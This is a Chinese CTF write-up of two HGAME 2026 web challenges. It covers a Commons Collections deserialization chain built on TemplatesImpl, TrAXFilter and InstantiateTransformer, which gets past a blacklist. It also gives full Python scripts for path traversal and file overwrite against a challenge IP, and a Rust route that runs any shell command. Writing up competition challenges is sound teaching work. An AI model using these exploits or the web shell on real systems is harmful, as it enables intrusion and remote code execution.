HGAME-2026-WEEK2-WEB

63次阅读
没有评论

WEEK2-WEB

ezCC

java反序列化这一块一直不太懂,放点前置知识在这。等后续看看blog上能不能单独补一篇笔记。

一、知识补充 什么是“反序列化漏洞”?

想象一下,你正在玩一个网络游戏。当你下线时,服务器需要把你的角色等级、装备、位置等数据保存下来,这个过程叫 “序列化” (把对象变成数据流)。当你重新上线时,服务器读取这些数据,重新生成你的角色对象,这个过程叫 “反序列化” (把数据流变回对象)。

1.1 为什么会有漏洞?

Java 的反序列化机制非常强大,它不仅能恢复数据(比如等级 99),还能恢复对象的行为。如果反序列化的数据中包含了一些“特殊的指令”,而服务器没有对这些数据进行检查就直接恢复了对象,那么这些指令就会被执行。

这就好比你给朋友寄了一箱拆好的乐高积木(序列化数据),并附带了一张图纸(类定义)。如果你在箱子里偷偷塞了一个捕鼠夹,当你的朋友按照说明书把积木倒出来拼装(反序列化)时,夹子就会弹起来夹住他的手。

1.2 什么是 CC 链?

CC 链 指的是利用 Apache Commons Collections 这个 Java 库中的类构造出的攻击链(Gadget Chain)。

  • Commons Collections:这是一个非常常用的工具包,几乎所有的 Java 项目都会用到它,就像是一个“万能扳手”。
  • Gadget(小工具) :指利用 Java 中已有的类和方法,像拼积木一样串联起来,最终达到执行任意代码的目的。

核心原理:Commons Collections 中有一个叫 Transformer​ 的接口,它的作用是“转换对象”。其中有一个实现类叫 InvokerTransformer​,它可以利用反射机制调用任意方法(包括执行系统命令)。攻击者通过精心构造一系列对象(Map、List 等),让服务器在反序列化时自动触发这个 Transformer,从而执行恶意代码。

2.1 题目概况

题目给出了一个 .war 包(Web 应用压缩包)和一个靶机地址。解压后发现:

  1. Web 框架:这是一个标准的 Java Web 应用。

  2. 依赖库WEB-INF/lib​ 下包含 commons-collections-3.2.1.jar。这是一个存在已知反序列化漏洞的老版本(3.2.2 之后才修复)。

  3. 核心代码

    • myServlet​:接收 Cookie 中的 userInfo 参数,进行 Base64 解码后反序列化。
    • BlacklistObjectInputStream:这是一个自定义的类,用于在反序列化时检查类名。

2.2 防御机制(黑名单)

我们在 BlacklistObjectInputStream​ 中发现了一个黑名单,它禁止了 org.apache.commons.collections.functors.InvokerTransformer 的反序列化。

这意味着:最常见的 CC1 链(直接用 InvokerTransformer 执行命令)无法使用了。

既然正门(InvokerTransformer)被堵死了,我们需要找后门。

3.1 寻找替代品

我们需要找到另一个能执行代码的方式。在 Java 反序列化利用中,除了 InvokerTransformer​,还有一个神器叫 TemplatesImpl

  • TemplatesImpl:这是 JDK 自带的一个类,用于处理 XML/XSLT 转换。
  • 特性:它内部可以存储一段字节码(.class​ 文件内容)。当它的 newTransformer()​ 方法被调用时,它会加载并实例化这段字节码。
  • 利用点:如果我们将恶意代码(比如读取 flag)放在一个类的构造函数中,并将这个类的字节码塞给 TemplatesImpl​,那么只要触发 newTransformer(),恶意代码就会被执行。

3.2 构造触发链(Gadget Chain)

现在的问题变成了:如何触发 TemplatesImpl.newTransformer()

我们找到了一个完美的辅助类:TrAXFilter

  • TrAXFilter​ 的构造函数接收一个 Templates​ 对象,并且在构造函数内部直接调用了 templates.newTransformer()

现在的目标变成了:如何调用 TrAXFilter的构造函数?

我们回到 Commons Collections,找到了 InstantiateTransformer

  • InstantiateTransformer:它的作用就是“调用构造函数实例化对象”。关键是,它没有被黑名单禁用

3.3 最终的攻击链 (Payload)

我们将整个流程串起来:

  1. 入口:反序列化 HashMap

  2. 触发点HashMap​ 为了计算 Key 的哈希值,会调用 Key 的 hashCode()​ 方法。我们使用 TiedMapEntry 作为 Key。

  3. 中转TiedMapEntry​ 会调用 LazyMap.get()

  4. 执行LazyMap​ 发现 Key 不存在,调用我们可以控制的 Transformer 链。

  5. 核心

    • 先用 ConstantTransformer​ 返回 TrAXFilter.class
    • 再用 InstantiateTransformer​ 调用 new TrAXFilter(templates)
    • TrAXFilter​ 构造函数触发 templates.newTransformer()
    • TemplatesImpl 加载我们的恶意类,读取 Flag。

4.1 编写恶意类 (Malicious.java)

这个类它的作用是读取服务器上的 /flag 文件,并通过抛出异常的方式把内容显示在网页上。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
// ... 其他 import ...

public class Malicious extends AbstractTranslet {
    public Malicious() {
        try {
            // 尝试读取 /flag
            String content = new String(Files.readAllBytes(Paths.get("/flag")));
            // 将 Flag 放在异常信息中抛出
            throw new RuntimeException("YOUR_FLAG_IS: " + content);
        } catch (Exception e) {
            // ...
        }
    }
    // ... 实现抽象方法 ...
}

4.2 编写生成器 (Exp.java)

这个程序负责把 Malicious 编译后的字节码包装进我们的攻击链,最后生成 Base64 字符串。

// ... 省略部分代码 ...
public class Exp {
    public static void main(String[] args) throws Exception {
        // 1. 读取恶意字节码
        byte[] code = Files.readAllBytes(Paths.get("Malicious.class"));
        
        // 2. 塞入 TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] { code });
        
        // 3. 构造 Transformer 链:用 InstantiateTransformer 实例化 TrAXFilter
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templates })
        };
        
        // ... 构造 HashMap 和 LazyMap ...
        
        // 4. 生成 Payload
        System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
    }
}

4.3 攻击

  1. 编译 Malicious.java​ 和 Exp.java(使用 JDK 8)。
  2. 运行 Exp 得到一串 Base64 字符。
  3. 将这串字符作为 Cookie (userInfo=...) 发送给靶机。
  4. 服务器反序列化失败(因为我们故意抛出了异常),返回 HTTP 500 错误页面。
  5. 在错误页面的堆栈信息中,我们看到了 YOUR_FLAG_IS: hgame{...}

HGAME-2026-WEEK2-WEB

easyuu

HGAME-2026-WEEK2-WEB

长得挺像一道简单的文件上传,但是当我无伤流畅的上传了带有一句话木马的webshell之后发现好像不是那么简单。

除了上传之外,我发现还有:

/api/download_file/			用于下载文件

往往我们可以测试一下是否存在目录穿越,下载到原本不应该给我们下载到的东西,于是测试 %2e%2e%2f 这种URL编码之后的路径穿越是否可用。为了防止层数不够,直接进行了

/api/download_file/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

HGAME-2026-WEEK2-WEB

为了精确到底穿越了几层,反复测试之后发现是两层,于是我们构造一个脚本用来快速的读取文件

import requests
import sys
import os

# ================= 配置区域 =================
HOST = "1.116.118.188" 
PORT = "32643" # 请确认端口,有时是 31538
BASE_URL = f"http://{HOST}:{PORT}"
DOWNLOAD_DIR = "downloads"  # 文件保存的本地目录
# ===========================================

def encode_uu(raw_str):
    """
    题目核心机制:只对 . 和 / 进行 URL 编码
    """
    encoded = ""
    for char in raw_str:
        if char == '.' or char == '/':
            encoded += f"%{ord(char):02x}"
        else:
            encoded += char
    return encoded

def save_to_disk(filename, content):
    """
    将文件保存到本地 downloads 目录,保持目录结构
    """
    # 去掉开头的 /,防止写入到本地根目录
    safe_filename = filename.lstrip('/')
    
    # 拼接本地路径
    local_path = os.path.join(DOWNLOAD_DIR, safe_filename)
    
    # 创建本地目录
    local_dir = os.path.dirname(local_path)
    if not os.path.exists(local_dir):
        os.makedirs(local_dir)
        
    # 写入文件
    try:
        with open(local_path, "wb") as f:
            f.write(content)
        return local_path
    except Exception as e:
        print(f"[!] 保存文件失败: {e}")
        return None

def read_file(filename):
    # 1. 构造 Payload (回退2到达根目录)
    payload_raw = "../" * 2 + filename
    payload_encoded = encode_uu(payload_raw)
    target_url = f"{BASE_URL}/api/download_file/{payload_encoded}"
    
    print(f"[*] 正在请求: {filename}")
    
    try:
        response = requests.get(target_url, timeout=10)
        
        if response.status_code == 200:
            file_size = len(response.content)
            print(f"[+] 下载成功! 大小: {file_size} bytes")
            
            # === 1. 保存文件到本地 ===
            saved_path = save_to_disk(filename, response.content)
            if saved_path:
                print(f"[+] 已保存至: {saved_path}")
            
            # === 2. 尝试在终端显示内容 ===
            print("=" * 60)
            
            # 尝试解码文本
            try:
                # 针对 environ 和 cmdline 的特殊显示优化
                if "environ" in filename or "cmdline" in filename:
                    text_content = response.content.decode('utf-8', errors='ignore')
                    print(text_content.replace('\x00', '\n'))
                else:
                    # 尝试以 UTF-8 解码
                    text_content = response.content.decode('utf-8')
                    # 如果文件太长,只显示前 2000 字符
                    if len(text_content) > 2000:
                        print(text_content[:2000])
                        print(f"\n... (剩余内容太长,请查看本地文件: {saved_path}) ...")
                    else:
                        print(text_content)
            except UnicodeDecodeError:
                # 如果解码失败,说明是二进制文件 (如 /bin/ls 或 easyuu)
                print("[!] 检测到二进制文件,不在终端显示内容。")
                print(f"[!] 请查看本地文件: {saved_path}")
                # 打印前 16 个字节的 Hex (方便看是不是 ELF)
                print(f"Head: {response.content[:16].hex()}")
                
            print("=" * 60)
            
        elif response.status_code == 404:
            print("[-] 文件不存在 (404)")
        elif response.status_code == 500:
            print("[-] 服务器 500 错误 (可能是目录或权限不足)")
        else:
            print(f"[-] 请求失败: {response.status_code}")
            
    except Exception as e:
        print(f"[!] 连接错误: {e}")

def main():
    if not os.path.exists(DOWNLOAD_DIR):
        os.makedirs(DOWNLOAD_DIR)
        
    print(f"[*] EasyUU 下载器已启动 | 目标: {BASE_URL}")
    print(f"[*] 文件将保存至: ./{DOWNLOAD_DIR}/")
    print("[*] 输入 'q' 退出")
    
    while True:
        try:
            user_input = input("\nfile> ").strip()
            
            if user_input.lower() in ['q', 'exit']:
                break
            
            if not user_input: continue
            
            # 补全斜杠
            if not user_input.startswith('/'):
                user_input = '/' + user_input
                
            read_file(user_input)
            
        except KeyboardInterrupt:
            print("\nBye")
            break

if __name__ == "__main__":
    main()

但是,经过反复搜索,都没能搜到flag的踪迹,必须进行下一步RCE。于是,我们下载/proc/self/exe 看看正在执行的这个程序里面有什么

HGAME-2026-WEEK2-WEB

随即我们发现,似乎还有一个文件目录读取接口list_dir,经过反复测试,确定了传参方式:

HGAME-2026-WEEK2-WEB

确定了传参:path=%2e%2e%2f

HGAME-2026-WEEK2-WEB

由此,我们构造一个交互式脚本供我们方便使用

import requests
import sys

# ================= 配置区域 =================
HOST = "1.116.118.188" 
PORT = "32643" 
URL = f"http://{HOST}:{PORT}/api/list_dir"
# ===========================================

def encode_uu(raw_str):
    """
    严格按照题目要求进行编码
    . -> %2e
    / -> %2f
    """
    encoded = ""
    for char in raw_str:
        if char == '.':
            encoded += "%2e"
        elif char == '/':
            encoded += "%2f"
        else:
            encoded += char
    return encoded

def list_dir(path_input):
    # 1. 编码路径
    encoded_path = encode_uu(path_input)
    
    # 2. 手动构造 Body 字符串 (模拟 Burp 中的 Raw 数据)
    # 格式: path=%2e%2e%2f
    payload_body = f"path={encoded_path}"
    
    # 3. 设置 Header (严格匹配截图)
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    # 打印调试信息,让你放心
    # print(f"[*] 发送 Payload: {payload_body}")
    
    try:
        # data参数传入字符串时,requests不会自动再进行编码,会直接发送
        resp = requests.post(URL, data=payload_body, headers=headers, timeout=5)
        
        if resp.status_code == 200:
            try:
                files = resp.json()
                print(f"\n当前目录: {path_input}")
                print(f"{'TYPE':<6} | {'SIZE':<8} | NAME")
                print("-" * 40)
                
                # 排序:目录优先
                files.sort(key=lambda x: (not x['is_dir'], x['name']))
                
                for f in files:
                    ftype = "<DIR>" if f['is_dir'] else "FILE"
                    size = str(f['size'])
                    name = f['name']
                    
                    # 高亮显示疑似 flag
                    if "flag" in name.lower() or "hgame" in name.lower():
                        name = f"\033[91m{name}\033[0m <--- [FLAG!!!]"
                        
                    print(f"{ftype:<6} | {size:<8} | {name}")
                print("-" * 40)
                
            except Exception as e:
                print(f"[-] JSON解析失败: {e}")
                print(f"[-] 原始响应: {resp.text}")
        else:
            print(f"[-] 请求失败 HTTP {resp.status_code}")
            
    except Exception as e:
        print(f"[!] 连接错误: {e}")

def main():
    print(f"[*] 已连接至 {URL}")
    print("[*] 模式: POST application/x-www-form-urlencoded")
    print("[*] 输入路径查看目录 (如 ../../ )")
    
    while True:
        try:
            user_input = input("\npath> ").strip()
            
            if user_input.lower() in ['exit', 'q']:
                break
                
            if not user_input:
                user_input = "./"
                
            list_dir(user_input)
            
        except KeyboardInterrupt:
            print("\nBye")
            break

if __name__ == "__main__":
    main()

自此我们解决了文件查找的问题,随后一路翻阅,我们了程序的源码:

HGAME-2026-WEEK2-WEB

下载下来解压找到了源码,在main.rs中,我们发现了点东西:

// main.rs
async fn update_watcher() {
    // ...
    let check_interval = Duration::from_secs(5);
    loop {
        sleep(check_interval).await;
        // 关键点:它会执行 ./update/easyuu 这个二进制文件来检查版本 每五秒钟依次
        if let Some(new_version) = get_new_version().await { ... }
    }
}

async fn get_new_version() -> Option<Version> {
    // 关键点:直接执行命令
    let output = Command::new("./update/easyuu")
        .arg("--version")
        .output()
        // ...
}

因此,我们有没有办法,把/app/update里面这个easyuu换成我们自己的呢?继续读,发现:

// app.rs
pub async fn upload_file(data: MultipartData) -> Result<usize, ServerFnError> {
    let mut base_dir = PathBuf::from("./uploads"); 
    while let Ok(Some(mut field)) = data.next_field().await {
        match field.name().as_deref() {
            Some("path1") => {
                // 允许通过 path1 字段控制上传目录!
                if let Ok(p) = field.text().await {
                    base_dir = PathBuf::from(p);
                }
                continue;
            }
            // ...
        }
    }
}

这看起来是个调试后门,不过留给了我们覆盖原有easyuu的机会,于是,我们修改easyuu的源码,加入一个/api/shell路由,实现RCE

#[cfg(feature = "ssr")]
async fn web_shell(
    axum::extract::Query(params): axum::extract::Query<std::collections::HashMap<String, String>>
) -> String {
    // 获取 URL 参数中的 cmd
    if let Some(cmd) = params.get("cmd") {
        // 执行系统命令 sh -c "cmd"
        match std::process::Command::new("sh")
            .arg("-c")
            .arg(cmd)
            .output() 
        {
            Ok(output) => {
                let stdout = String::from_utf8_lossy(&output.stdout);
                let stderr = String::from_utf8_lossy(&output.stderr);
                format!("=== STDOUT ===\n{}\n=== STDERR ===\n{}", stdout, stderr)
            },
            Err(e) => format!("Execution failed: {}", e),
        }
    } else {
        "Usage: /api/shell?cmd=whoami".to_string()
    }
}
// src/main.rs
#[tokio::main]
async fn main() {
    use axum::{Router, routing::get};
    // ...
    
    // 注册新路由 /api/shell
    let app = Router::new()
        .route("/api/download_file/{filename}", get(download_file))
        .route("/api/shell", get(web_shell)) // <---
        .leptos_routes(&leptos_options, routes, {
            let leptos_options = leptos_options.clone();
            move || shell(leptos_options.clone())
        })
        .fallback(leptos_axum::file_and_error_handler(shell))
        .with_state(leptos_options);

    // ...
}
if let Some(new_version) = get_new_version().await {
    if new_version > current_version {
        // ... update() ...
        // ... restart_myself(path);
    }
}

//更新版本号,确定我们能覆盖原有的版本
cargo build --release --features ssr

编译运行,再通过我们的上传脚本上传:

import requests
import sys
import os

HOST = "1.116.118.188"
PORT = "32643"
BASE_URL = f"http://{HOST}:{PORT}"

def upload_exploit(local_file_path):
    if not os.path.exists(local_file_path):
        print(f"[-] 文件不存在: {local_file_path}")
        return

    url = f"{BASE_URL}/api/upload_file"
    
    # 构造 payload
    # path1: 目标目录 (漏洞点) -> ./update
    # file: 文件名 -> easyuu (覆盖目标程序)
    
    with open(local_file_path, "rb") as f:
        file_content = f.read()
        
    files = {
        'path1': (None, './update'),
        'file': ('easyuu', file_content)
    }
    
    print(f"[*] 正在上传 {local_file_path} 到 {BASE_URL}/update/easyuu ...")
    
    try:
        r = requests.post(url, files=files, timeout=20)
        if r.status_code == 200:
            print("[+] 上传成功!")
        else:
            print(f"[-] 上传失败,状态码: {r.status_code}")
            print(f"[-] 响应: {r.text}")
            
    except Exception as e:
        print(f"[!] 请求异常: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python upload_exp.py <compiled_binary_path>")
        print("Example: python upload_exp.py rev_shell_linux")
    else:
        upload_exploit(sys.argv[1])

验证:

HGAME-2026-WEEK2-WEB

上传成功,原本服务器的easyuu成功被我们换成了包含恶意路由的版本,直接读取环境变量:

HGAME-2026-WEEK2-WEB

拿到flag

正文完
 0
评论(没有评论)